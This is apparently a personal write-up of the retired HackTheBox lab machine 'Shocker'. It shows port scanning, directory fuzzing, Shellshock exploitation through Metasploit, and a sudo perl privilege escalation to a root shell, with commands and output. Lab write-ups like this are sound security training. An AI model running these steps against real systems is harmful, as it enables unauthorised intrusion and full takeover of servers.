This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.


Difficulty: Easy

Machine IP:

A port scan identifies a web server on the target as well as SSH on a non-standard port.

sudo nmap -sS -T4 -p-

Starting Nmap 7.80 ( ) at 2020-06-07 10:15 EDT
Nmap scan report for
Host is up (0.015s latency).
Not shown: 65533 closed ports
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds
sudo nmap -sS -T4 -A -p 80,2222
Starting Nmap 7.80 ( ) at 2020-06-07 10:17 EDT
Nmap scan report for
Host is up (0.014s latency).

80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.4 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).                                                        
Network Distance: 2 hops                                                                                         
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                          
TRACEROUTE (using port 80/tcp)                                                                                   
HOP RTT      ADDRESS                                                                                             
1   13.10 ms                                                                                          
2   13.45 ms

Given the name of this box is Shocker, I am assuming this will require Shellshock. Shellshock requires an executable script to exist in the /cgi-bin directory of a web server. Any script will suffice.

gobuster identifies a /cgi-bin directory.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 30 -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        30
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/06/07 10:22:08 Starting gobuster
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/cgi-bin/ (Status: 403)
/server-status (Status: 403)
2020/06/07 10:22:19 Finished                                                                                      

And wfuzz uncovers a file under /cgi-bin.

wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 949

ID           Response   Lines    Word     Chars       Payload                                          

000000864:   200        7 L      18 W     119 Ch      "user"                                           

Total time: 1.623817
Processed Requests: 949
Filtered Requests: 948
Requests/sec.: 584.4252

I am ready to exploit Shellshock. Now that I know what script to use under /cgi-bin, I can run a Shellshock auxiliary check from Metasploit:

msf shellshock check

The scanner indicates that the server is vulnerable. I can exploit this with the exploit/multi/http/apache_mod_cgi_bash_env_exec module in Metasploit.

msf shellshock exploit

I get a shell as the shelly user. From here I can get the user flag.

It appears that shelly can execute perl with root permissions! I should be able to simply call /bin/bash through perl and obtain a root shell.

shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Don’t forget to obtain a TTY shell, though! If you see this error, run the following steps:

shelly@Shocker:~$ sudo perl —e 'exec "/bin/sh";'
sudo e 'exec "/bin/sh";'perl 
sudo: no tty present and no askpass program specified


/bin/bash -i
export TERM=xterm-256color
SHELL=/bin/bash script -q /dev/null
# ctrl+z to background channel
# background meterpreter session
stty raw -echo
# go back to meterpreter session and channel

You should now have a TTY shell. Now, I can execute bash through perl and obtain a root shell.

shelly@Shocker:~$ sudo /usr/bin/perl -e 'exec "/bin/bash";'
sudo /usr/bin/perl -e 'exec "/bin/bash";'
root@Shocker:~# cd /root
cd /root
root@Shocker:/root# whoami